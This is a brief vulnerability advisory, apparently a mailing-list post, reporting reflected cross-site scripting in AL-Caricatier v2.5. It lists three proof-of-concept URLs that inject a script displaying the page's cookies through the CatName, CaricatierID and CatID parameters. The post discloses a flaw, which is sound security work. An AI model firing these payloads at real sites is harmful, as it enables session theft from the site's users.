Onderwerp: XSS in AL-Caricatier

Hello
Vulnerable: AL-Caricatier,V.2.5
http://www.php-ar.com

Exploit :
http://example.com/AL-Caricatier/view_caricatier.php?CatName='><script>alert(docume nt.cookie);</script>

http://example.com/AL-Caricatier/view_caricatier.php?CaricatierID='><script>alert(d ocument.cookie);</script>

http://example.com/AL-Caricatier/view_caricatier.php?CatID='><script>alert(document .cookie);</script>

Discovery by Linux_Drox

http://LeZr.Com

Best Regards ,,